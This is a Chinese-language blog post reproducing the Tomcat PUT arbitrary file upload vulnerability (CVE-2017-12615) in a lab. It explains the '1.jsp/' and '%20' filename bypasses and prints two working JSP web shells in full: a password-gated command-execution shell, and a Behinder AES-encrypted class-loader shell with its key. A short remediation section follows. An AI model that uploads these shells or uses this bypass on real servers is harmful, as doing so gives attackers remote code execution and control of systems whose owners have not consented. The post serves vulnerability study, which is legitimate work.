Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现

目录

    • 0x01 漏洞介绍
    • 0x02 环境部署:
    • 0x03 漏洞复现
        • 1. 访问主页
        • 2. 漏洞测试
        • 3. 上传jsp木马--命令执行
        • 4. 上传成功,执行命令
        • 5. 上传jsp一句话木马
        • 6. 上传成功,冰蝎连接
    • 0x04 漏洞修复

0x01 漏洞介绍

  1. 漏洞描述
    在一定条件下,攻击者可以利用这个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险

  2. 漏洞编号
    CVE-2017-12615

  3. 受影响版本
    漏洞影响全部的 Tomcat 版本:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

0x02 环境部署:

搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182

  1. 在网上下载源码进行查看
    实验前必须确保readonly = false,如果是true的话,那么PUT和DELETE方法是被拒绝的,因此如果手动将readonly选项开启为false,那么就能够通过PUT方法上传文件了
    在这里插入图片描述

0x03 漏洞复现

1. 访问主页

http://192.168.30.209:8080
Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第1张图片

2. 漏洞测试

在上传文件的时候需要对文件后缀名进行修改绕过

org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件,这也就是所谓的CVE-2017-12615漏洞。

2.1 发现不修改后缀名上传失败
Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第2张图片
2.2 给文件后缀加一个 “ / ” ,变为 1.jsp/
Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第3张图片
访问上传的文件,验证上传成功
Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第4张图片
2.3 给文件名后加%20进行绕过,上传成功
Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第5张图片
注:使用这种绕过,在访问的时候一定要在文件名后加上%20,否则无法访问到上传的文件
Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第6张图片

3. 上传jsp木马–命令执行
<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
"
); } %>

Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第7张图片

4. 上传成功,执行命令

Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第8张图片

5. 上传jsp一句话木马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第9张图片

6. 上传成功,冰蝎连接

Tomcat put方法任意文件上传漏洞(CVE-2017-12615)复现_第10张图片
拿到权限,复现成功

0x04 漏洞修复

  1. 配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
    注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
  2. 根据官方补丁升级最新版本

你可能感兴趣的:(vulhub漏洞复现,tomcat,安全漏洞,中间件,服务器,安全)